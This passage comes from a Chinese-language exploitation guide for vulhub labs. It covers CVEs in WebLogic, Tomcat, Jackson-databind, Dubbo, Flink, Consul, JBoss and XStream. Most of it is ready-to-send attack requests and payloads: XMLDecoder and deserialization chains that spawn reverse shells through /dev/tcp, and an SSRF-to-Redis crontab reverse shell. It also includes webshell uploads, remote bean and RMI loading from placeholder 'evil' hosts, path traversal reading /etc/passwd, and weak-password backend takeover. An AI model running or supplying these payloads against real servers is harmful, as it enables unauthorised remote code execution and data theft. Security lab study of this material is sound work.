<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

refer:

2. Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令

漏洞复现

使用vulhub搭建环境,执行如下命令启动Weblogic 10.3.6.0:等待环境启动,访问http://your-ip:7001/console,初始化整个环境

首先下载ysoserial,并启动一个JRMP Server:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包v

1
2
3
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

// [victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

refer:

3. Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

漏洞利用

使用vulhub搭建环境,访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

SSRF漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

1
2
3
4
5
6
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误,一般是返回status code,如果访问的非http协议,则会返回did not have a valid SOAP content-type

修改为一个不存在的端口,将会返回could not connect over HTTP to server,通过错误的不同,即可探测内网状态

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF虽然是一个”GET”请求,但是可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就可以通过该SSRF攻击内网中的redis服务器

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通

发送三条redis命令,将弹shell脚本写入/etc/crontab:

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

1
2
3
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

// 换行符是"\r\n",也就是"%0D%0A"

将url编码后的字符串放在ssrf的域名后面,发送如下payload,即可成功反弹shell:

1
2
3
4
5
6
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

4. Weblogic 常规渗透

模拟一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透

弱口令

环境启动后,访问http://your-ip:7001/console,即为weblogic后台。

本环境存在弱口令:

1
2
weblogic
Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

任意文件读取漏洞

假设不存在弱口令,可通过任意文件下载漏洞利用,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd 可成功读取passwd文件

  1. 读取后台用户密文与密钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

config.xml是base_domain的全局配置文件,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码

  1. 解密密文

然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文

  1. 后台上传webshell

获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表

点击安装,选择”上载文件”

上传war包。注意平时tomcat用的war包不一定能够成功,可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步

填写应用名称,继续一直下一步,最后点完成。

应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy),成功获取webshell

refer: https://github.com/vulhub/vulhub/blob/master/weblogic/weak_password/README.md

0x06 Apache Tomcat

1. Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

漏洞描述

Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当Tomcat运行在Windows主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件,文件中的代码被服务器执行

漏洞原理

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但使用一些文件系统的特性(如Linux下可用/)来绕过限制

环境搭建

1
2
docker-compose build
docker-compose up -d

运行完成后访问 http://your-ip:8080 即可看到Tomcat的Example页面

漏洞利用

直接发送以下数据包即可在Web根目录写入shell:

1
2
3
4
5
6
7
8
9
10
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

refer:

2. Apache Tomcat AJP 文件读取与包含漏洞 (CVE-2020-1938)

漏洞描述

默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果存在文件上传功能,将可以导致任意代码执行。漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0)

漏洞利用

通过vulhub搭建环境,启动一个Tomcat 9.0.30:环境启动后,访问 http://your-ip:8080 即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat

1)任意文件读取

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用方法:

1
2
#python CNVD-2020-10487-Tomcat-Ajp-lfi.py <目标ip> -p <ajp端口> -f <读取文件>
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target_host -p 8009 -f WEB-INF/web.xml
  1. 文件包含

本地包含的条件是需要目标web应用上有一个上传点,能上传txt或jpg等文件,才能进行文件包含的利用。在这用vulhub搭建环境,所以直接进入docker容器创建txt文件进行文件包含的利用

工具:https://github.com/00theway/Ghostcat-CNVD-2020-10487

进入docker容器,在/webapps/ROOT/目录下添加ping.txt文件,内容为:

1
2
#ping.txt
<%Runtime.getRuntime().exec("ping -c 4 `whoami`.name.ceye.cn");%>

利用poc进行文件包含执行漏洞:

1
python3 ajpShooter.py http://192.168.234.138 8009 /ping.txt eval
  1. 反弹shell

反弹shell base64加密:http://www.jackson-t.ca/runtime-exec-payloads.html

将文件命名为shell.txt上传服务器:

1
<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>

利用ajpShooter.py脚本执行文件包含漏洞

1
python3 ajpShooter.py http://target_host 8009 /cmd.txt eval

监听端口,成功反弹shell

refer:

3. Tomcat7+ 弱口令 && 后台getshell漏洞

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

1
2
3
4
5
6
7
8
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限

在conf/tomcat-users.xml文件中配置用户的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat。正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。

漏洞测试

使用vulhub搭建环境,打开tomcat管理页面 http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台;上传war包即可直接getshell

0x07 FasterXML Jackson

Jackson-databind 反序列化漏洞(CVE-2017-7525)

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行

漏洞利用条件

1
2
3
4
5
6
7
8
1) 开启 JacksonPolymorphicDeserialization,即调用以下任意方法

objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

2) Target class 需要有无参 constructor

3) Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口

漏洞复现

使用vulhub搭建环境,Web运行在 http://your-ip:8080/

CVE-2017-7525

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}

CVE-2017-17485

CVE-2017-7525 黑名单修复绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext。

原理:利用 FileSystemXmlApplicationContext 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start() 方法实现命令执行

利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如 http://evil/spel.xml,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>

然后,发送如下数据包,使Jackson加载bean,触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138

{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}

refer:

0x08 Apache Dubbo

Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)

漏洞描述

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞

这个漏洞影响Apache Dubbo 2.7.4及以前版本,2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

漏洞复现

使用vulhub搭建环境,启动一个Apache Dubbo 2.7.3 Provider:服务启动后,访问 http://your-ip:8080,服务器默认会返回500错误

利用该漏洞需要先知道目标RPC接口名,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞,那么就可以在其中找到接口的名称与地址。

Vulhub对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器:

1
./zkCli -server target-ip:2181

连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置

获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到 http://your-ip:8080/org.vulhub.api.CalcService 即可触发反序列化漏洞

1
2
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService

refer:

漏洞描述

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置

漏洞复现

使用vulhub搭建环境,启动 Apache Flink jobmanager 1.11.2:Apache Flink 启动后,访问 http://your-ip:8081 查看主页

发送如下请求上传文件到 /tmp/success

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

2. Apache Flinkjobmanager/logs路径遍历 (CVE-2020-17519)

Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件

漏洞复现

使用vulhub搭建环境,启动 Apache Flink jobmanager 1.11.2:Apache Flink 启动后,访问 http://your-ip:8081 查看主页

列出/etc/passwd:

1
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

refer:

0x0A HashiCorp Consul

HashiCorp Consul API 远程命令执行漏洞

漏洞描述

HashiCorp Consul是一个服务网格,用于服务发现、运行时配置和微服务应用程序和基础设施的服务分割。
在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在 Consul 服务端远程执行命令

前提条件

启用了脚本检查参数(-enable-script-checks)的所有版本

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
1) 下载安装

下载地址:https://www.consul.io

unzip consul_1.5.2_linux_amd64.zip
cd consul
cp -rp consul /bin/

2) 创建配置文件

consul_config.json

{

"datacenter": "consul-cluster",

"node_name": "consul01",

"server": true,

"bind_addr": "192.168.10.6",

"bootstrap_expect": 5,

"data_dir": "/data/consul/data",

"http_config": {

"response_headers": {

"Access-Control-Allow-Origin": "*"

}

},

"log_level": "INFO",

"enable_syslog": true,

"ports": {

"http": 8500,

"dns": 8600,

"serf_lan": 8301,

"serf_wan": 8302

},

"enable_script_checks": true

}

3) 启动服务

consul agent -config-dir=/opt/consul.d -ui -client 0.0.0.0

consul members # 确认服务状态

漏洞利用

漏洞检测

1
2
3
curl --request GET https://192.168.10.6:8500/v1/agent/self

# 出现 "EnableRemoteScriptChecks":true 证明漏洞存在

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
from colorama import init
init(autoreset=True)
import json
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
def url():
des="HashiCorp Consul API 远程命令执行漏洞POC"
parser = argparse.ArgumentParser(description=des)
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.10.6')
args = parser.parse_args()
target_url = args.target_url
print("HashiCorp Consul API 远程命令执行漏洞POC")
print("[-]正在执行检测...")
print(f"[-]目标地址:{target_url}",)
return target_url
def check(target_url):
url = target_url + '/v1/agent/self'
try:
response = requests.get(url=url,headers=headers,verify=False,timeout=5).text
value = json.loads(response)['DebugConfig']['EnableRemoteScriptChecks']
if str(value) == 'True':
print('\033[0;31m[+]漏洞存在\033[0m')
else:
print('漏洞不存在')
except Exception as a:
print('漏洞不存在')

if __name__ == '__main__':
target_url = url()
check(target_url)

msf exploit

1
msf5 > use exploit/multi/misc/consul_service_exec

refer:

0x0B JBoss

1. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞描述

Red Hat JBoss是一套开源、基于J2EE的中间件平台。该平台主要用于构建、部署和托管Java应用程序与服务。

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

漏洞复现

使用vulhub搭建环境,初始化完成后访问 http://your-ip:8080/ 即可看到JBoss默认页面

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

1)编写反弹shell的命令

使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要用进行一次编码

工具:http://www.jackson-t.ca/runtime-exec-payloads.html

2)序列化数据生成

使用ysoserial来复现生成序列化数据,选择使用的gadget是CommonsCollections5

1
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

3)发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可成功反弹shell

refer:

2. JBoss JMXInvokerServlet 反序列化漏洞

JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码

漏洞复现

使用vulhub搭建环境,初始化完成后访问 http://your-ip:8080/ 即可看到JBoss默认页面

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,直接将ysoserial生成好的POC附在POST Body中发送即可

利用工具:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

refer:

0x0C XStream

1. XStream 反序列化命令执行漏洞(CVE-2021-21351)

漏洞描述

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用javax.naming.ldap.Rdn$RdnEntry及javax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令

漏洞复现

使用vulhub搭建环境,启动一个Springboot + XStream 1.4.15的环境:环境启动后,我们向 http://your-ip:8080 发送一个正常的XML数据包,将会得到预期返回

由于目标环境Java版本高于8u191,故使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令

使用JNDI-Injection-Exploit启动恶意JNDI服务器:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142

使用上图中基于SpringBoot利用链的RMI地址作为的值,构造POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3184

<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

其中,evil-ip是恶意RMI服务器的地址。然后,进入目标容器内,可见touch /tmp/success已成功执行

实际利用中,如果目标Java版本较低,POC需要做修改,将其中的<__overrideDefaultParser>false</__overrideDefaultParser>改成 <__useServicesMechanism>false</__useervicesMechanism>即可

refer:

2. XStream 反序列化命令执行漏洞(CVE-2021-29505)

漏洞描述

